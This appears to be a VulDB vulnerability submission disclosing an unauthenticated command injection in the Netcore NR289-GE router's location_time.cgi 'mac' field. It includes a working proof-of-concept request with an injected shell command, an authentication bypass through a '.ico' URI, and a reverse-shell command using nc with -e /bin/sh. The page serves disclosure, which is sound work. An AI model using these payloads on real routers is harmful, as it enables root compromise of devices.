| Titel | Netcore磊科 Router Firmware NR289-GE_V1.4.5102 Command Injection |
|---|
| Beschreibung | An unauthenticated command injection vulnerability (CWE-78) was identified in the Netcore NR289-GE SMB router / AC controller, firmware version V1.4.5102 (Linux 2.6.36, MIPS32r2 big-endian, Realtek RTL8198C+RTL8370 platform).
The web stack (patched boa -> /web/cgi-bin/cgitest.cgi, 441 handlers, running as root) dispatches location_time.cgi to location_time_cgi (0x413308). The handler takes the user-controlled "mac" form field and, via location_postion (0x435e4c) and send_wget_set_command (0x4353c0), embeds it into a shell command executed by system() without any input validation or sanitization:
sprintf(cmd, "/bin/wget_1 ... --post-data \"mode_name=location_time&CurrentApp=Welcome&location_time_enable=%d&location_time=%d&mac=%s\" \"http://%s/cgi-bin-igd/netcore_set.cgi\" > /tmp/status", ...);
system(cmd); // cgitest.cgi @ 0x435540
Because the value lands inside double quotes, a "mac" value such as AA:BB:";CMD;# breaks out of the quoted string and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device.
Exploitation conditions: (1) the first 6 bytes of "mac" must match an entry of the AC's bound-AP list (/tmp/para/bind_list_table) - i.e. the device is managing at least one AP, its normal operating state; (2) no authentication is required when the request URI contains the substring ".ico", due to a separate boa whitelist flaw (strstr(uri,".ico") at boa @ 0x407438, reported separately). Note: after the injected command runs the CGI response may be empty/aborted - execution must be judged by side effects, not by the HTTP response.
Proof of concept (no credentials):
Step 1 - command injection, output redirected into the web root:
POST /x.ico/location_time.cgi
Body: mac=AA%3ABB%3A%22%3Bcat%20%2Fetc%2Fversion.txt%3E%2Fweb%2Fimages%2Fo.txt%3B%23&location_time_enable=1&location_time=1
Step 2 - read back the result (/images/ is in the boa no-auth whitelist):
GET /images/o.txt
Response body: Netcore(NR289-GE)-V1.4.5102,2018.06.14 18:44.
A root reverse shell can be staged with the stock wget applet plus a static MIPS busybox: wget the binary to /tmp, chmod, then run "nc <LHOST> <LPORT> -e /bin/sh".
The same unsanitized pattern exists in sibling handlers in the same binary: ap_ip.cgi (ip/mask/gateway, 20-byte field limit), set_ntp_server_ip.cgi (ntp_ip), ac_ip_config_set.cgi (acserver_ip) and wifi_lamp.cgi (mac).
The vulnerability was dynamically verified against the firmware emulated with qemu-mips user-mode emulation; arbitrary commands were executed with root privileges and an interactive reverse shell back to the attacker host was confirmed.
|
|---|
| Quelle | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NR289-GE_V1.4.5102%2C2018.06.1418_44%20Router/Netcore_NR289-GE_location_time_command_injection.md |
|---|
| Benutzer | yyycl (UID 100580) |
|---|
| Einreichung | 14.08.2026 14:00 (vor 1 Monat) |
|---|
| Moderieren | 27.09.2026 19:48 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 410946 [Netcore NR289-GE 1.4.5102 Location Time /location_time.cgi system mac erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|